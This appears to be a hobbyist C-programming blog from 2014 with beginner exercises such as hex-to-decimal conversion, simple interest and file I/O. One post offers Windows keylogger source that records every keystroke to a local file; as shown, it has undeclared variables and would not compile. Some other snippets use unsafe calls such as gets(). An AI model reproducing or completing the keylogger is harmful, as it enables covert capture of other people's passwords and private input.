Monday 20 January 2014

Ebooks tutorial for C-programming (Simplest Version)

Now learn more and grow by reading short of ebooks provided here and make your own program by grabbing info from books. If you have any difficulty in any part of book please discuss and comment.

Download best dev c++ compiler

Now its need to experimentise with yourself. Download dev c++ compiler and run your own code. Since it is c++ compiler but you can still compile your c code in this ide.

Very simple code to convert hexadecimal Number to decimal Number

#include<stdio.h>

int main(){
   int hex, dec;
   printf("\nEnter the value in hexadecimal :");
    scanf("%x", &hex);

    printf("%d", hex);
    return 0;
}

Monday 13 January 2014

c program to convert hexadecimal value to decimal value

#include<stdio.h>
#include<stdlib.h>

void x(char *);
int f1(int,int);
int hex()
{
    char a[10];
    char* b;
    printf("\nEnter the hexdecimal value : ");
    scanf("%s",&a);
    x(a);
return 0;
}
void x(char *a)
{
int sum=0,b;
int c=strlen(a);
b=c;
for (int i=0;i<c;i++)
{
if(a[i] >= '0' && a[i] <= '9')
{
    sum = sum + f1(a[i]-'0',b);
    b--;
}
else if(a[i] >= 'a' && a[i] <= 'f')
{   
    sum = sum + f1(a[i]-'a'+10,b);
    b--;
}
else if(a[i] >= 'A' && a[i] <= 'F')
{   
    sum = sum + f1(a[i]-'A'+10,b);
    b--;
}
else printf("Error value entered\n");
}
printf("\nResultant decimal value is :   %d  \n",sum);
}

int f1(int a, int b)
{
int d;
int p=1;
if(b != 0){
for (int i=1;i<b;i++)
    p = p*16;
}
    d=a*p;
return d;
}

Sunday 12 January 2014

c program for keylogger for free and tested

/* c code for kelogger  */
/* date : 11-jan-2014  */
/* author :  Kriptino   */

#include<windows.h>
#include<Winuser.h>
#include<iostream>
#include<stdio.h>
#include<stdlib.h>
using namespace std;

int Save (int key, char *file);
int main()
{
    char i;

   printf("This is my simple keylogger.");
   printf("\nloading... \n\n");
   system("color c");
   while(1)
   {
       for(i=8;i<=190;i++)
      {
          if(GetAsyncKeyState(i)==-32767)
              Save(i,"Key_file.txt");
        }
     }
return 0;
}

int Save (int key,char *file)
{
if((key==1)||(key==2))
      return 0;

   FILE *ptr;
   ptr=fopen(file,"a+");
   if(key==8)
       fprintf(ptr,"%s","[BackSpace]");

   else if(key==13)
       fprintf(ptr,"%s","\n");

   else if(key==32)
       fprintf(ptr,"%s"," ");

   else if(key==VK_TAB)
       fprintf(ptr,"%s","[TAB]");

   else if(key==VK_SHIFT)
       fprintf(ptr,"%s","[SHIFT]");

   else if(key==VK_CONTROL)
       fprintf(ptr,"%s","[CONTROL]");

   else if(key==VK_ESCAPE)
       fprintf(ptr,"%s","[ESCAPE]");

   else if(key==VK_END)
       fprintf(ptr,"%s","[END]");

   else if(key==VK_HOME)
       fprintf(ptr,"%s","HOME");

   else if(key==VK_LEFT)
       fprintf(ptr,"%s","[LEFT]");

   else if(key==VK_UP)
       fprintf(ptr,"%s","[UP]");

   else if(key==VK_RIGHT)
       fprintf(ptr,"%s","[RIGHT]");

   else if(key==VK_DOWN)
       fprintf(ptr,"%s","[DOWN]");

   else if(key==190 || key==110)
       fprintf(ptr,"%s",".");

    else
       fprintf(rptr,"%s",&key_stroke);
   fclose(ptr);

   return 0;
}

c-code to store student information in a text file

#include<stdio.h>
#include<stdlib.h>
struct student{
    int roll;
    int class_no;
    char name[80];
};
int prog9(){
    FILE *fp;
    struct student s;
    char str[120];
    fp = fopen("d:\\recd.text", "a");
    printf("\nenter the roll : ");
    scanf("%d", &s.roll);

    printf("\nenter the class : ");
    scanf("%d", &s.class_no);
   
    fflush(stdin);
    printf("\nenter the name : ");
    gets(s.name);
   
    sprintf(str, "%d    %d    %s", s.roll, s.class_no, s.name);
    fputs(str, fp);
    fclose(fp);
         
    return 0;
}

c program to print 0 to 5 and 5 to 0 without using any loop

#include<stdio.h>
#include<stdlib.h>

int main(){
    static int v = 0;
    static int r = 5;
    {
    if(v < 6)
    {
        printf("    %d",v++);
        main();
    }
    if(r >= 0 )
    {
        printf("    %d",r--);
        main();
    }
    }
return 0;
}

Thursday 9 January 2014

Simple Interest calculation

/* Calculation of Simple Interest */

#include<stdio.h>
#include<stdlib.h>

int main( )
{
int rate,principle,time ;
float amount;
printf ( "Enter rate, principle, and time :  " ) ;
scanf ( "%d %d %d", &rate, &principle, &time ) ;
amount = (principle*rate*time)/100;
printf ( "Your resultant amount is Rs.%f ",amount) ;
system("pause");
return 0;
}

Take input from users

Simple input function in c is scanf();
It take user input and stores in a buffer.

#include<stdio.h>
#include<stdlib.h>
int main()
{
 int a;
 printf("Enter your favorite Number : \n");
 scanf("%d",&a);
 printf("Your lucky number is : %d",a); 
 system("pause");
 return 0;
}

Wednesday 8 January 2014

First begin at your home

This is first start c c0de.
In this part we will deal only printing function.


#include<stdio.h>
#include<stdlib.h>
int main()
{
printf("My name is .... ");
system("pause"); // If you are using visual studio 2010 as IDE. 
return 0;

First Start

This blog is all about C/C++ programming. Here all we learn about c coding with examples. There will example-wise c-codes. You need to go through that and gain knowledge about c programming. I myself still learning C and C++. I did lots of coding at different level. Currently I am moving through system programming with C. My advance part in this blog will be C system programming. There will be to sections. 1st for codes and 2nd for simple c tutorial. I will try my best to explain each part in as simple as possible.